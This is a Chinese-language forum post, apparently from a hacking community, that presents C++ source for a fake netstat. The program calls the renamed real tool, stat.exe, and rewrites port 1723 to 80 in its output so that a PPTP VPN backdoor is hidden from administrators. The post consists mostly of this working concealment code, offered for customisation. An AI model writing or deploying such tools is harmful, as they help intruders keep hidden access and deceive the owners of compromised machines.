VPN的1723端口隐藏的实现

     基本思路见http://forum.eviloctal.com/read-htm-tid-30212-page-e-fpage-1.html#a 由于那里的源码是VC++2005 C++/CLI编译,运行时不仅要 .NET 还要带个msvcm80.dll,不方便使用,于是用VC++6.0重写了下.因为这个代码可以扩展 定制,所以发到原创。代码如下:

以下是代码片段:
Copy code

/////////////////////////////////////////////////////////////
//处理netstat回显隐藏VPN端口
//Coder:zshoucheng [EST]
//Blog:http;//www.shellvip.com
////////////////////////////////////////////////////////////
#include <iostream>
#include <fstream>
#include <string>
#include <windows.h>
using namespace std;

char buf[100]={0};

char* LogFile()
{    
    GetTempPath(64,buf);
    strcat(buf,"port.log");
    return buf;
}

int main(int argc,char* argv[])
{
    string cmd = "stat.exe"; //把系统原来的netstat.exe改名为stat.exe
    string oldPort = "1723"; //需要隐藏的端口
    string newPort = "80  "; //替换为新的端口
    if (argc != 1)
    {
        for (int i=1;i<argc;i++)
        {
            cmd += " ";
            cmd += argv[i];
        }
    }
    cmd += ">";
    cmd += LogFile();        
    system(cmd.c_str());
    ifstream in(LogFile());
    string tmp[256];
    for (int j=0;j<256 && in;j++)
    {
        getline(in,tmp[j],'\n');
        int index = (tmp[j]).find(oldPort,4);
        if (index!=string::npos)
        {    
            tmp[j].replace(index,4,newPort);
        }
        cout<<tmp[j].c_str()<<endl;
    }
return 0;
}